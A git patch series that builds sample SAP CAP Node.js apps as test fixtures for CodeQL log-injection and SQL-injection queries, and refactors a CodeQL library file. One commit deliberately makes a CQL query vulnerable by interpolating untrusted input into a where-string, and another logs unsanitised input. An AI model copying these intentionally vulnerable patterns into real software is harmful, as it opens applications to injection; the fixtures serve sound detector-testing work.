From 5a52340f7b98ce6f1c5a30cf627ce5ba849fef70 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Mon, 12 Feb 2024 22:48:40 -0800
Subject: [PATCH 01/86] Add draft of multi-service, message-passing log poc

---
 .../test/queries/loginjection/sample-app/README.md |  5 +++++
 .../queries/loginjection/sample-app/db/schema.cds  | 11 +++++++++++
 .../queries/loginjection/sample-app/package.json   | 14 ++++++++++++++
 .../test/queries/loginjection/sample-app/server.js |  5 +++++
 .../loginjection/sample-app/srv/service1.cds       |  9 +++++++++
 .../loginjection/sample-app/srv/service1.js        |  8 ++++++++
 .../loginjection/sample-app/srv/service2.cds       |  1 +
 .../loginjection/sample-app/srv/service2.js        | 10 ++++++++++
 8 files changed, 63 insertions(+)
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/sample-app/README.md
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/sample-app/db/schema.cds
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/sample-app/package.json
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/sample-app/server.js
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service1.cds
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service1.js
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service2.cds
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service2.js

diff --git a/javascript/frameworks/cap/test/queries/loginjection/sample-app/README.md b/javascript/frameworks/cap/test/queries/loginjection/sample-app/README.md
new file mode 100644
index 000000000..0ae0ca457
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/sample-app/README.md
@@ -0,0 +1,5 @@
+# Log Injection PoC
+
+This application demonstrates the possibility of a log injection through communications between several `ApplicationService`s with one dedicated to logging.
+
+The `ApplicationService`s randomly mixes JS class definitions with `cds.service.impl` for diversity.
diff --git a/javascript/frameworks/cap/test/queries/loginjection/sample-app/db/schema.cds b/javascript/frameworks/cap/test/queries/loginjection/sample-app/db/schema.cds
new file mode 100644
index 000000000..58682e397
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/sample-app/db/schema.cds
@@ -0,0 +1,11 @@
+namespace advanced-security.log-injection.sample-entities;
+
+entity Entity1 {
+  Attribute1 : String(100)
+  Attribute2 : String(100)
+}
+
+entity Entity2 {
+  Attribute3 : String(100)
+  Attribute4 : String(100)
+}
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/sample-app/package.json b/javascript/frameworks/cap/test/queries/loginjection/sample-app/package.json
new file mode 100644
index 000000000..1d3f853ef
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/sample-app/package.json
@@ -0,0 +1,14 @@
+{
+  "name": "@advanced-security/log-injection",
+  "version": "1.0.0",
+  "devDependencies": {
+  },
+  "dependencies": {
+    "@sap/cds": "^7",
+    "express": "^4.17.1"
+  },
+  "scripts": {
+    "start": "cds-serve",
+    "watch": "cds watch"
+  }
+}
diff --git a/javascript/frameworks/cap/test/queries/loginjection/sample-app/server.js b/javascript/frameworks/cap/test/queries/loginjection/sample-app/server.js
new file mode 100644
index 000000000..06424930e
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/sample-app/server.js
@@ -0,0 +1,5 @@
+const cds = require('@sap/cds');
+
+cds.once('bootstrap', (app) => {
+  app.serve("/log-injection").from("@advanced-security/log-injection");
+});
diff --git a/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service1.cds b/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service1.cds
new file mode 100644
index 000000000..cef84e199
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service1.cds
@@ -0,0 +1,9 @@
+using { advanced-security.log-injection.sample-entities as db-schema } from '../db/schema';
+
+service Service1 {
+  entity Service1Entity as projection on db-schema.Entity1 excluding { Attribute2 } 
+
+  event Received: {
+    messageToPass : String;
+  }
+}
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service1.js b/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service1.js
new file mode 100644
index 000000000..94b7ab1ab
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service1.js
@@ -0,0 +1,8 @@
+const cds = require("@sap/cds");
+
+module.exports = class Service1 extends cds.ApplicationService {
+    this.on("READ", "Entity1/Attribute1", (req) => {
+        const { messageToPass } = req.data;
+        await this.emit("Received", { messageToPass });
+    });
+}
diff --git a/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service2.cds b/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service2.cds
new file mode 100644
index 000000000..7dc8c9211
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service2.cds
@@ -0,0 +1 @@
+service Service2 {}
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service2.js b/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service2.js
new file mode 100644
index 000000000..0fc86d706
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service2.js
@@ -0,0 +1,10 @@
+const cds = require("@sap/cds");
+const LOG = cds.log("logger");
+
+module.exports = cds.service.impl(() => {
+    const Service1 = cds.connect.to("Service1");
+    Service1.on("Received", async (msg) => {
+        const { messageToPass } = msg.data;
+        LOG.info("Recevied: ", messageToPass);
+    });
+})

From bb8fe7358468eb0640005b871f768cf1ff6849f1 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Tue, 13 Feb 2024 14:27:43 -0800
Subject: [PATCH 02/86] Finalize draft on log injection app

---
 .../cap/test/queries/loginjection/sample-app/server.js   | 8 +++++++-
 .../queries/loginjection/sample-app/srv/service1.cds     | 8 +++++---
 .../test/queries/loginjection/sample-app/srv/service1.js | 3 ++-
 .../queries/loginjection/sample-app/srv/service2.cds     | 7 ++++++-
 .../test/queries/loginjection/sample-app/srv/service2.js | 9 +++++----
 5 files changed, 25 insertions(+), 10 deletions(-)

diff --git a/javascript/frameworks/cap/test/queries/loginjection/sample-app/server.js b/javascript/frameworks/cap/test/queries/loginjection/sample-app/server.js
index 06424930e..d0ba1ce87 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/sample-app/server.js
+++ b/javascript/frameworks/cap/test/queries/loginjection/sample-app/server.js
@@ -1,5 +1,11 @@
 const cds = require('@sap/cds');
+const Service1 = cds.connect.to("Service1");
 
 cds.once('bootstrap', (app) => {
-  app.serve("/log-injection").from("@advanced-security/log-injection");
+    app.serve("/log-injection").from("@advanced-security/log-injection");
+});
+
+Service1.on("Received1", async (msg) => {
+    const { messageToPass } = msg.data;
+    Service2.send("Received2", { messageToPass });
 });
diff --git a/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service1.cds b/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service1.cds
index cef84e199..41d6ce4c9 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service1.cds
+++ b/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service1.cds
@@ -1,9 +1,11 @@
 using { advanced-security.log-injection.sample-entities as db-schema } from '../db/schema';
 
 service Service1 {
-  entity Service1Entity as projection on db-schema.Entity1 excluding { Attribute2 } 
+  /* Entity to send READ about. */
+  entity Service1Entity as projection on db-schema.Entity1 excluding { Attribute2 }
 
-  event Received: {
+  /* Async API for Service1 to speak through. */
+  event Received1: {
     messageToPass : String;
   }
-}
\ No newline at end of file
+}
diff --git a/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service1.js b/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service1.js
index 94b7ab1ab..35ddd6532 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service1.js
+++ b/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service1.js
@@ -1,8 +1,9 @@
 const cds = require("@sap/cds");
 
+/* Emit a "Received1" event upon receiving a READ request on its entity. */
 module.exports = class Service1 extends cds.ApplicationService {
     this.on("READ", "Entity1/Attribute1", (req) => {
         const { messageToPass } = req.data;
-        await this.emit("Received", { messageToPass });
+        await this.emit("Received1", { messageToPass });
     });
 }
diff --git a/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service2.cds b/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service2.cds
index 7dc8c9211..3cfae1f0f 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service2.cds
+++ b/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service2.cds
@@ -1 +1,6 @@
-service Service2 {}
\ No newline at end of file
+service Service2 {
+  /* Async API to talk to Service2. */
+  event Received2: {
+    messageToPass: String;
+  }
+}
diff --git a/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service2.js b/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service2.js
index 0fc86d706..bdc33f1d0 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service2.js
+++ b/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service2.js
@@ -2,9 +2,10 @@ const cds = require("@sap/cds");
 const LOG = cds.log("logger");
 
 module.exports = cds.service.impl(() => {
-    const Service1 = cds.connect.to("Service1");
-    Service1.on("Received", async (msg) => {
+    /* Log upon receiving an "Received2" event. */
+    this.on("Received2", async (msg) => {
         const { messageToPass } = msg.data;
-        LOG.info("Recevied: ", messageToPass);
-    });
+        /* A log injection sink. */
+        LOG.info("Received: ", messageToPass);
+  });
 })

From 1e69a239d701f31234fb510b1b70b4819f87ad4c Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Tue, 13 Feb 2024 14:31:50 -0800
Subject: [PATCH 03/86] Remove unnecessary devDependencies in package.json

---
 .../cap/test/queries/loginjection/sample-app/package.json       | 2 --
 1 file changed, 2 deletions(-)

diff --git a/javascript/frameworks/cap/test/queries/loginjection/sample-app/package.json b/javascript/frameworks/cap/test/queries/loginjection/sample-app/package.json
index 1d3f853ef..feaa60a89 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/sample-app/package.json
+++ b/javascript/frameworks/cap/test/queries/loginjection/sample-app/package.json
@@ -1,8 +1,6 @@
 {
   "name": "@advanced-security/log-injection",
   "version": "1.0.0",
-  "devDependencies": {
-  },
   "dependencies": {
     "@sap/cds": "^7",
     "express": "^4.17.1"

From c71ef16023721eafa6ad7ff0d569071494e9c8fb Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Tue, 13 Feb 2024 14:44:46 -0800
Subject: [PATCH 04/86] Wrong entity name

---
 .../cap/test/queries/loginjection/sample-app/server.js          | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/javascript/frameworks/cap/test/queries/loginjection/sample-app/server.js b/javascript/frameworks/cap/test/queries/loginjection/sample-app/server.js
index d0ba1ce87..e386a6cde 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/sample-app/server.js
+++ b/javascript/frameworks/cap/test/queries/loginjection/sample-app/server.js
@@ -7,5 +7,5 @@ cds.once('bootstrap', (app) => {
 
 Service1.on("Received1", async (msg) => {
     const { messageToPass } = msg.data;
-    Service2.send("Received2", { messageToPass });
+    await Service2.send("Received2", { messageToPass });
 });

From 810942e5cf36d715654b6337e290495a4b11629d Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Tue, 13 Feb 2024 14:50:29 -0800
Subject: [PATCH 05/86] Add draft of SQL injection PoC

---
 .../test/queries/sqlinjection/sample-app/README.md  |  3 +++
 .../queries/sqlinjection/sample-app/package.json    | 13 +++++++++++++
 .../test/queries/sqlinjection/sample-app/server.js  | 12 ++++++++++++
 .../sqlinjection/sample-app/srv/Service1.cds        | 11 +++++++++++
 .../queries/sqlinjection/sample-app/srv/Service1.js |  9 +++++++++
 .../sqlinjection/sample-app/srv/Service2.cds        | 11 +++++++++++
 .../queries/sqlinjection/sample-app/srv/Service2.js | 11 +++++++++++
 7 files changed, 70 insertions(+)
 create mode 100644 javascript/frameworks/cap/test/queries/sqlinjection/sample-app/README.md
 create mode 100644 javascript/frameworks/cap/test/queries/sqlinjection/sample-app/package.json
 create mode 100644 javascript/frameworks/cap/test/queries/sqlinjection/sample-app/server.js
 create mode 100644 javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service1.cds
 create mode 100644 javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service1.js
 create mode 100644 javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service2.cds
 create mode 100644 javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service2.js

diff --git a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/README.md b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/README.md
new file mode 100644
index 000000000..567f3b7df
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/README.md
@@ -0,0 +1,3 @@
+# SQL Injection PoC
+
+This application demonstrates the possibility of an SQL injection through communications between several `ApplicationService`s and a `DatabaseService`, eventually sinking to a SQLite database.
diff --git a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/package.json b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/package.json
new file mode 100644
index 000000000..0bf35981c
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/package.json
@@ -0,0 +1,13 @@
+{
+  "name": "@advanced-security/sql-injection",
+  "version": "1.0.0",
+  "dependencies": {
+    "@cap-js/sqlite": "*",
+    "@sap/cds": "^7",
+    "express": "^4.17.1"
+  },
+  "scripts": {
+    "start": "cds-serve",
+    "watch": "cds watch"
+  }
+}
diff --git a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/server.js b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/server.js
new file mode 100644
index 000000000..efaf14bcc
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/server.js
@@ -0,0 +1,12 @@
+const cds = require("@sap/cds");
+const Service1 = cds.connect.to("Service1");
+
+cds.once("bootstrap", (app) => {
+    app.serve("/sql-injection").from("@advanced-security/log-injection");
+});
+
+/*  */
+Service1.on("Received1", async (msg) => {
+    const { messageToPass } = msg.data;
+    await Service2.run(SELECT.from `Service2Entity`.where({Attribute3: messageToPass}));
+})
diff --git a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service1.cds b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service1.cds
new file mode 100644
index 000000000..41d6ce4c9
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service1.cds
@@ -0,0 +1,11 @@
+using { advanced-security.log-injection.sample-entities as db-schema } from '../db/schema';
+
+service Service1 {
+  /* Entity to send READ about. */
+  entity Service1Entity as projection on db-schema.Entity1 excluding { Attribute2 }
+
+  /* Async API for Service1 to speak through. */
+  event Received1: {
+    messageToPass : String;
+  }
+}
diff --git a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service1.js b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service1.js
new file mode 100644
index 000000000..45e0a4a22
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service1.js
@@ -0,0 +1,9 @@
+const cds = require("@sap/cds");
+
+/* Emit a "Received1" event upon receiving a READ request on its entity. */
+module.exports = class Service1 extends cds.ApplicationService {
+    this.on("READ", "Service1Entity/Attribute1", (req) => {
+        const { messageToPass } = req.data;
+        await this.emit("Received1", { messageToPass });
+    });
+}
diff --git a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service2.cds b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service2.cds
new file mode 100644
index 000000000..7d9d1ce5d
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service2.cds
@@ -0,0 +1,11 @@
+using { advanced-security.log-injection.sample-entities as db-schema } from '../db/schema';
+
+service Service2 {
+  /* Entity to SELECT from. */
+  entity Service2Entity as projection on db-schema.Entity2 excluding { Attribute4 }
+
+    /* Async API to talk to Service2. */
+  event Received2: {
+    messageToPass : String;
+  }
+}
diff --git a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service2.js b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service2.js
new file mode 100644
index 000000000..bdc33f1d0
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service2.js
@@ -0,0 +1,11 @@
+const cds = require("@sap/cds");
+const LOG = cds.log("logger");
+
+module.exports = cds.service.impl(() => {
+    /* Log upon receiving an "Received2" event. */
+    this.on("Received2", async (msg) => {
+        const { messageToPass } = msg.data;
+        /* A log injection sink. */
+        LOG.info("Received: ", messageToPass);
+  });
+})

From 140cee065b608282add65a33aaa3938c5b21af26 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Tue, 13 Feb 2024 14:58:57 -0800
Subject: [PATCH 06/86] Fix CQL expression to be vulnerable to SQL injection

---
 .../cap/test/queries/sqlinjection/sample-app/server.js          | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/server.js b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/server.js
index efaf14bcc..d966ef271 100644
--- a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/server.js
+++ b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/server.js
@@ -8,5 +8,5 @@ cds.once("bootstrap", (app) => {
 /*  */
 Service1.on("Received1", async (msg) => {
     const { messageToPass } = msg.data;
-    await Service2.run(SELECT.from `Service2Entity`.where({Attribute3: messageToPass}));
+    await Service2.run(SELECT.from `Service2Entity`.where(`Attribute3=${messageToPass}`));
 })

From f354b9d15df06b9f8493b97b813e3e8feb670cb3 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Tue, 13 Feb 2024 17:02:15 -0800
Subject: [PATCH 07/86] Add missing `init()` and add some comments

---
 .../queries/loginjection/sample-app/srv/service1.js   | 10 ++++++----
 .../test/queries/sqlinjection/sample-app/server.js    |  2 +-
 .../queries/sqlinjection/sample-app/srv/Service1.js   | 11 +++++++----
 .../queries/sqlinjection/sample-app/srv/Service2.js   |  9 +--------
 4 files changed, 15 insertions(+), 17 deletions(-)

diff --git a/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service1.js b/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service1.js
index 35ddd6532..dc94467f2 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service1.js
+++ b/javascript/frameworks/cap/test/queries/loginjection/sample-app/srv/service1.js
@@ -2,8 +2,10 @@ const cds = require("@sap/cds");
 
 /* Emit a "Received1" event upon receiving a READ request on its entity. */
 module.exports = class Service1 extends cds.ApplicationService {
-    this.on("READ", "Entity1/Attribute1", (req) => {
-        const { messageToPass } = req.data;
-        await this.emit("Received1", { messageToPass });
-    });
+    init() {
+        this.on("READ", "Entity1/Attribute1", (req) => {
+            const { messageToPass } = req.data;
+            await this.emit("Received1", { messageToPass });
+        });
+    }
 }
diff --git a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/server.js b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/server.js
index d966ef271..417239c21 100644
--- a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/server.js
+++ b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/server.js
@@ -5,7 +5,7 @@ cds.once("bootstrap", (app) => {
     app.serve("/sql-injection").from("@advanced-security/log-injection");
 });
 
-/*  */
+/* Upon receiving "Received1" event emitted by Service1, make Service2 run a CQL query. */
 Service1.on("Received1", async (msg) => {
     const { messageToPass } = msg.data;
     await Service2.run(SELECT.from `Service2Entity`.where(`Attribute3=${messageToPass}`));
diff --git a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service1.js b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service1.js
index 45e0a4a22..4657c5198 100644
--- a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service1.js
+++ b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service1.js
@@ -2,8 +2,11 @@ const cds = require("@sap/cds");
 
 /* Emit a "Received1" event upon receiving a READ request on its entity. */
 module.exports = class Service1 extends cds.ApplicationService {
-    this.on("READ", "Service1Entity/Attribute1", (req) => {
-        const { messageToPass } = req.data;
-        await this.emit("Received1", { messageToPass });
-    });
+    init() {
+        this.on("READ", "Service1Entity/Attribute1", (req) => {
+            const { messageToPass } = req.data;
+            await this.emit("Received1", { messageToPass });
+        });
+    }
+    
 }
diff --git a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service2.js b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service2.js
index bdc33f1d0..577834b44 100644
--- a/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service2.js
+++ b/javascript/frameworks/cap/test/queries/sqlinjection/sample-app/srv/Service2.js
@@ -1,11 +1,4 @@
 const cds = require("@sap/cds");
 const LOG = cds.log("logger");
 
-module.exports = cds.service.impl(() => {
-    /* Log upon receiving an "Received2" event. */
-    this.on("Received2", async (msg) => {
-        const { messageToPass } = msg.data;
-        /* A log injection sink. */
-        LOG.info("Received: ", messageToPass);
-  });
-})
+module.exports = cds.service.impl(() => { });

From 3f50833e274b0726100fa6b27b956add735b8cfa Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Tue, 13 Feb 2024 17:30:02 -0800
Subject: [PATCH 08/86] Normalize import path and remove redundant module
 declaration

- Normalize import path to `advanced_security.javascript.frameworks.cap`.
- Remove wrapping CDS / CQL inner module declaration.
---
 .../javascript/frameworks/cap/CDS.qll         | 275 +++++------
 .../javascript/frameworks/cap/CQL.qll         | 434 +++++++++---------
 .../cap/src/loginjection/LogInjection.ql      |   4 +-
 .../cap/src/sqlinjection/SqlInjection.ql      |   8 +-
 4 files changed, 365 insertions(+), 356 deletions(-)

diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
index 14e0bdccf..e2291a30e 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
@@ -1,155 +1,166 @@
 import javascript
 import DataFlow
 
-module CDS {
-  // TODO: should this base type be more specific?
-  abstract class ServiceInstance extends DataFlow::Node { }
-
-  /**
-   * Call to`cds.serve`
-   */
-  class CdsServeCall extends ServiceInstance {
-    CdsServeCall() { this = any(CdsFacade cds).getMember("serve").getACall() }
-  }
+// TODO: should this base type be more specific?
+abstract class ServiceInstance extends DataFlow::Node { }
+
+/**
+ * Call to`cds.serve`
+ */
+class CdsServeCall extends ServiceInstance {
+  CdsServeCall() { this = any(CdsFacade cds).getMember("serve").getACall() }
+}
 
-  /**
-   * call to:
-   *  `new cds.ApplicationService` or `new cds.Service`
-   */
-  class ServiceConstructor extends ServiceInstance {
-    ServiceConstructor() { this = any(ApplicationService cds).getAnInstantiation() }
-  }
+/**
+ * call to:
+ *  `new cds.ApplicationService` or `new cds.Service`
+ */
+class ServiceConstructor extends ServiceInstance {
+  ServiceConstructor() { this = any(ApplicationService cds).getAnInstantiation() }
+}
 
-  /**
-   * return value of `cds.connect.to`
-   */
-  class ConnectTo extends ServiceInstance {
-    ConnectTo() { this = any(CdsFacade cds).getMember("connect").getMember("to").getACall() }
-  }
+/**
+ * return value of `cds.connect.to`
+ */
+class ConnectTo extends ServiceInstance {
+  ConnectTo() { this = any(CdsFacade cds).getMember("connect").getMember("to").getACall() }
+}
 
-  /** Last argument to the service methods `srv.before`, `srv.on`, and `srv.after` */
-  private class RequestHandler extends FunctionNode { }
-
-  private class ErrorHandler extends RequestHandler { }
-
-  /**
-   * Subclassing ApplicationService via `extends`:
-   * ```js
-   * class SomeService extends cds.ApplicationService
-   * ```
-   */
-  class UserDefinedApplicationService extends ClassNode {
-    UserDefinedApplicationService() {
-      exists(ApplicationService cdsApplicationService |
-        this.getASuperClassNode() = cdsApplicationService.asSource()
-      )
-    }
+/** Last argument to the service methods `srv.before`, `srv.on`, and `srv.after` */
+private class RequestHandler extends FunctionNode { }
+
+private class ErrorHandler extends RequestHandler { }
+
+/**
+ * Subclassing ApplicationService via `extends`:
+ * ```js
+ * class SomeService extends cds.ApplicationService
+ * ```
+ */
+class UserDefinedApplicationService extends ClassNode {
+  UserDefinedApplicationService() {
+    exists(ApplicationService cdsApplicationService |
+      this.getASuperClassNode() = cdsApplicationService.asSource()
+    )
   }
+}
 
-  /**
-   * Subclassing ApplicationService via `cds.service.impl`:
-   * ```js
-   * const cds = require('@sap/cds')
-   * module.exports = cds.service.impl (function() { ... })
-   * ```
-   */
-  class OldStyleUserDefinedApplicationService extends MethodCallNode {
-    OldStyleUserDefinedApplicationService() {
-      exists(CdsFacade cds | this = cds.getMember("service").getMember("impl").getACall())
-    }
+/**
+ * Subclassing ApplicationService via `cds.service.impl`:
+ * ```js
+ * const cds = require('@sap/cds')
+ * module.exports = cds.service.impl (function() { ... })
+ * ```
+ */
+class OldStyleUserDefinedApplicationService extends MethodCallNode {
+  OldStyleUserDefinedApplicationService() {
+    exists(CdsFacade cds | this = cds.getMember("service").getMember("impl").getACall())
   }
+}
 
-  /**
-   *  Parameter of a `srv.with` method call:
-   * ```js
-   * cds.serve('./srv/cat-service') .with ((srv) => {
-   *     srv.on ('READ','Books', (req) => req.reply([...]))
-   * })
-   * ```
-   *
-   * TODO expand this to capture request handlers registered inside the function
-   */
-  class WithCallParameter extends RequestHandler {
-    WithCallParameter() {
-      exists(MethodCallNode withCall, ServiceInstance svc |
-        withCall.getArgument(0) = this and
-        withCall.getMethodName() = "with" and
-        withCall.getReceiver() = svc
-      )
-    }
+/**
+ *  Parameter of a `srv.with` method call:
+ * ```js
+ * cds.serve('./srv/cat-service') .with ((srv) => {
+ *     srv.on ('READ','Books', (req) => req.reply([...]))
+ * })
+ * ```
+ *
+ * TODO expand this to capture request handlers registered inside the function
+ */
+class WithCallParameter extends RequestHandler {
+  WithCallParameter() {
+    exists(MethodCallNode withCall, ServiceInstance svc |
+      withCall.getArgument(0) = this and
+      withCall.getMethodName() = "with" and
+      withCall.getReceiver() = svc
+    )
   }
+}
 
-  /**
-   * Parameter of request handler of `_.on`:
-   * ```js
-   * _.on ('READ','Books', (req) => req.reply([...]))
-   * ```
-   */
-  class OnNodeParam extends ValueNode, ParameterNode {
-    MethodCallNode on;
-
-    OnNodeParam() {
-      exists(FunctionNode handler |
-        on.getMethodName() = "on" and
-        on.getLastArgument() = handler and
-        handler.getLastParameter() = this
-      )
-    }
-
-    MethodCallNode getOnNode() { result = on }
+/**
+ * Parameter of request handler of `_.on`:
+ * ```js
+ * _.on ('READ','Books', (req) => req.reply([...]))
+ * ```
+ */
+class OnNodeParam extends ValueNode, ParameterNode {
+  MethodCallNode on;
+
+  OnNodeParam() {
+    exists(FunctionNode handler |
+      on.getMethodName() = "on" and
+      on.getLastArgument() = handler and
+      handler.getLastParameter() = this
+    )
   }
 
-  /**
-   * Parameter of request handler of `srv.on`:
-   * ```js
-   * this.on ('READ','Books', (req) => req.reply([...]))
-   * ```
-   * not sure how else to know which service is registering the handler
-   */
-  class RequestSource extends OnNodeParam {
-    RequestSource() {
-      // TODO : consider  - do we need to actually ever know which service the handler is associated to?
-      exists(UserDefinedApplicationService svc, FunctionNode init |
-        svc.getAnInstanceMember() = init and
-        init.getName() = "init" and
-        this.getOnNode().getEnclosingFunction() = init.getAstNode()
-      )
-      or
-      exists(WithCallParameter pa | this.getOnNode().getEnclosingFunction() = pa.getFunction())
-    }
-  }
+  MethodCallNode getOnNode() { result = on }
+}
 
-  class ApplicationService extends API::Node {
-    ApplicationService() { exists(CdsFacade c | this = c.getMember("ApplicationService")) }
+/**
+ * Parameter of request handler of `srv.on`:
+ * ```js
+ * this.on ('READ','Books', (req) => req.reply([...]))
+ * ```
+ * not sure how else to know which service is registering the handler
+ */
+class RequestSource extends OnNodeParam {
+  RequestSource() {
+    // TODO : consider  - do we need to actually ever know which service the handler is associated to?
+    exists(UserDefinedApplicationService svc, FunctionNode init |
+      svc.getAnInstanceMember() = init and
+      init.getName() = "init" and
+      this.getOnNode().getEnclosingFunction() = init.getAstNode()
+    )
+    or
+    exists(WithCallParameter pa | this.getOnNode().getEnclosingFunction() = pa.getFunction())
   }
+}
 
-  /**
-   * ```js
-   * const cds = require('@sap/cds')
-   * ```
-   */
-  class CdsFacade extends API::Node {
-    CdsFacade() { this = API::moduleImport("@sap/cds") }
-  }
+class ApplicationService extends API::Node {
+  ApplicationService() { exists(CdsFacade c | this = c.getMember("ApplicationService")) }
+}
 
-  /**
-   * Call to`cds.log`
-   */
-  class CdsLogCall extends API::Node {
-    CdsLogCall() { this = any(CdsFacade cds).getMember("log") }
-  }
+/**
+ * ```js
+ * const cds = require('@sap/cds')
+ * ```
+ */
+class CdsFacade extends API::Node {
+  CdsFacade() { this = API::moduleImport("@sap/cds") }
+}
+
+/**
+ * Call to`cds.log`
+ */
+class CdsLogCall extends API::Node {
+  CdsLogCall() { this = any(CdsFacade cds).getMember("log") }
+}
